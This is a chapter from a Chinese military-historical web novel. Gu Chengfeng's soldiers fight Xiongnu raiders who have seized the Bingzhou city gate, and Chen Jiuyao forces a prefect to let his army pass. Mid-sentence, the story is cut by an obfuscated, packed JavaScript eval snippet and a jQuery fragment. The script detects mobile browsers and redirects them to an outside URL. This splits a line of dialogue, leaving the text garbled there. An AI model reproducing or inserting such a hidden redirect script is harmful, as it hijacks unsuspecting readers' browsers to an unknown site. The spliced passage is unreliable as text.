天不怜人。


    并州城内风雪交加，落雪持续了一天一夜仍在继续，基本掩盖了匈奴所有的踪迹。


    他们探寻了一夜，却一无所获。


    “顾小将军，怎么办？”


    顾乘风端坐马上满目沉稳，这里没有父亲、没有殿下，也没有妹妹，他必须去做这个主心骨，更必须做好。


    四千跟随他而来的将士不是来陪他玩闹、白白吃苦挨冻的，他要对他们负责。


    既然找不到匈奴的踪迹，那就想想别的办法。


    他静下心来沉思。


    匈奴会是已经离开并州了吗？


    不会。从这些匈奴扎营的痕迹来看，这支匈奴军队至少有五千人。城门处有日常排查，他们能进入并州，必是分小批次伪装进入的，而他们若只是经过此地欲前往他处，便不会在此处就汇合，否则实在是多此一举。


    所以——他们的目标就是并州！


    “不好！我们快回去！”


    ……


    另一边。


    四人带着一万士兵从晋城早早出发，一路快马加鞭，但却行得艰难。


    风雪交加而下，重重地拍打在众人的脸上，初时脸上的热气还会将落上的飞雪化成水，在冷气之中渐渐结成一层冰霜，慢慢地脸冻僵住，落上的雪便不能融了，在疾风中飘落而下。


    陈九曜策马疾驰着，侧身回望了眼身后将士们的状态，目光却无意间在顾缘君那双抓着缰绳被冻得通红的手上掠过。


    他抬头望向天际，见日轮已挂在了正南方向，遂抬起手臂，示意队伍减速缓停。


    “就地生火休整一刻钟，大家吃些东西。”


    队伍缓缓停下，士兵们纷纷翻身下马，战马顿时轻松地甩了甩蹄儿。


    陈九曜下马立刻清理了一片空地出来，就近捡来干柴，从衣襟中取出火折子用力一甩，使之亮起星火，然后用大氅遮蔽着风雪将干柴点燃。


    他的一举一动有着天然的割裂感——熟练得与贫苦出身的士兵无异，但抬臂举止间却有着高雅华贵的气度。


    “快来烤烤火。”


    听到他的招呼几人围坐过来。


    众人拿来水囊和干粮，却见他并没有立刻吃，而是取来行军用的粗瓷碗，将其盛满白雪之后架在柴火堆上，一边食着蒸饼，一边静待雪水升温。


    片刻，水烧得沸起，他将水灌在水囊里，然后随手递给顾缘君：“拿着暖暖手。”


    顾缘君顺着他的手抬眸望进他的眼睛里，只一瞬便错开，转至水囊之上。


    她一边道着感谢一边双手接过水囊，指尖与水囊上暖意相触的瞬间微颤，这感觉若有实质般在身体里流动，传向了心脏所在的位置，有些疼。


    陈九曜面色自然，若无其事地解释道：“不必谢，你是年纪最小的妹妹，我们理应多照顾些。”


    顾缘君由心而笑，以回应这份哥哥对妹妹的关照。


    他们仅停留了一刻钟来用饭，然后便立刻上马继续赶路了。


    及至宁县城下，却发现大门紧闭，整支军队不得不停滞在门前。


    陈九曜派人前去询问是什么情况，门口的士兵托词去问，却久久不归。


    他不欲再等，正要拿出玉契传县令来问话，身后却传来马蹄声和疾呼。


    “擎北将军！您可让下官一通好追！这是要带兵去哪儿？”


    众人调转马头，发现来的是乾州刺史孟矩一行人。


    晋城是乾州治所，因而众人或多或少与之打过些交道，知此人油滑，为政敷衍了事，一派官僚作风，故对他都没什么好感，更何况他此次明显来者不善。


    未待陈九曜开口，萧云山率先替他回道：“孟刺史，涉及机要，事情紧急，还请借道。”


    意思就是我不方便说，你也不方便听，不要废话，直接开门。


    话音刚落，孟矩立刻板起脸，一副公事公办的样子：“这可不行，各位带着一万士兵向中原腹地而去，谁能担保不是起兵谋反？臣无能，惟“忠”可表，万不能让人危及皇权、危及陛下。”


    皇上那封让他提防太子的密旨还在他的书案上摆着，站在皇上那一边才是最实在最保险的。


    陈九曜端坐在高高的战马之上，冷冷睥睨着他，启唇只吐出两个字：“借道。”


    同坐在马上，陈九曜却要高出他一大截，实在气势迫人，孟矩犹豫半晌，还是开口：“……不……”


    但这次陈九曜却未容他再吐出连篇废话，话音未落，陈九曜比地上冰石还坚硬的声音便覆了上来：“我说，借、道。”他轻抬下颌，仿若在看蝼蚁，“现在和你说话的不是擎北将军，是大霂太子。”


    孟矩闻言不敢再坐在马上，爬下马对他行礼，犹豫片刻，还是命令开启城门。


    皇上给的是密旨，密旨说白了就是见不得人的东西，此刻也不能拿出来说事，藐视太子的罪倒要结结实实扣在他身上了。


    众人没有看他一眼，直接策马而去了。


    ……


    顾乘风一行人带着来时作伪装的商队行头，全力疾驰，及时午时，终于回到了并州州府和主城门所在地。


    返程的路上他们获知了一个更坏的消息——从新近发现的行军痕迹来看，匈奴应该已经聚集了近八千人。


    面对这个噩耗，所有人都沉默了，因为他们知道自己接下来要面对的是什么，但却没有一个人退缩。


    他们去，则他们死，他们不去，则数万人死。


    他们背井离乡，命如悬丝，枕戈待旦，以前也许只是为了生计、为了温饱，而跟随将军来到西北之后，他们找到了一个从前安在自己身上可能会觉得好笑的意义——那就是守护一方百姓安稳，不让屠城的惨剧再次发生。


    一行人进入城区之后，顾乘风命令军队减速，拆分伪装成几个商队。


    他派了人去州府报信，然后一边走一边打量着周围的环境，寻找匈奴的踪迹。


    却发现街市之上一切正常。


    众人皆暂时松了一口气，看来一切都还来得及。


    却没想到天意弄人。


    突然，并州城门的方向传来城门关闭和尖叫的声音。


    “啊！”


    “杀人了！杀人了！”


    顾乘风一把抽出自己的剑，高声吩咐身边的一名士兵：“快！你去通知州府城门有变，让他们尽快整兵来抵御！”说完他转向右侧：“你们这一队，立刻去城中各处


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049505|136048||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    通知百姓尽快回到家中，紧闭宅门！”


    “其他人跟我来！”


    众人抽出佩刀，夹紧马腹，随着顾乘风向城门方向策马奔去，到了城门下发现城门已经完全被穿着大霂服饰的匈奴所接管，大门紧紧闭合，守门士兵躺了一地。这些匈奴见人就砍，百姓纷纷四下奔逃。


    他们立刻上前与之搏杀，阻止他们屠戮百姓。


    但匈奴人数有着压倒性的优势，他们实在力有不逮。


    顾乘风扫视四周，高声激励众人：“大家再坚持下！并州守兵有三千人，应该很快就到了，我们是有机会与匈奴一战的！”


    确如顾乘风所料，驻守在城内的士兵很快便抵达了，但人数却明显不足。


    他一边挥剑去杀敌，一边转头去问刚赶来的并州司兵：“怎么才来千人！都这时候了！还不把全部兵力调来！”


    “这……将军恕罪……全都在这了……”这司兵眼神躲闪，不敢与他对视。


    “你们！”顾乘风提剑挡住砍来的匈奴大刀，怒从中来，却没时间深究并州到底出了什么问题，一甩手转身去奋力杀敌了。


    时间一忽一秒而过，眼见身边的大霂士兵一个一个倒下，他心急如焚。


    却就在此时，他听到了城门外撞城木攻城之声！


    定是他们的援兵来了！


    他立刻奋力破开前方的敌军，突围而出，一路挑开追着他刺来的利刃刀枪，挥剑向在城门处抵挡的匈奴士兵，间或回身抵挡身后的围攻。


    白衣渐血，连痛觉都麻木了。


    既不会痛，还有何畏！


    城门开启的一刻，冬日莹白的雪光和着日光刺入，他却没有力气抬臂去遮了，只得容着这光刺向瞳孔，刺得他眯起了眼，恍恍惚惚间看到四个熟悉的身影逆光坐在战马之上。


    他微微提起唇角，然后便安心地容着自己失去了意识。


    “哥！”


    “乘风！”


    ……


    战火过后，余惊未消，已是日高三丈之时，这个临时赁来的临街小院外面的街道上却还静悄悄。


    顾缘君推开窗户换气，冬日的凉气便丝丝渗入。


    而躺在床上的人意识尚未觉醒，痛觉却率先苏醒过来。


    浑身的刺痛之感令他蹙起了眉。


    萧云山率先发现了他的动作，高呼：“乘风醒了！”


    桌边的几人立刻起身疾步走过来。


    顾乘风刚睁开眼就看见四个脑袋，要不是脸太熟，刚醒就要再被吓晕过去。


    他想抬起手臂遮住眼睛，伤口却被牵动，疼得他倒吸了口凉气。


    也疼得他回想起了一切。


    他抿了抿干裂的嘴唇，开口声音有些哑：“……其他将士们……怎么样了……”


    众人有些一时不知该如何作答。


    顾缘君端来水慢慢喂给他喝，斟酌着答道：“……有百余人在养伤……其他人……已经入土为安了……”


    屋内一时静默，像是不约而同的无声哀悼。


    顾乘风眼中有泪水缓缓凝聚、溢出，他转过头去，闷声道：“我想一个人待一会儿。”


    几人默默点头，退了出去。


    ……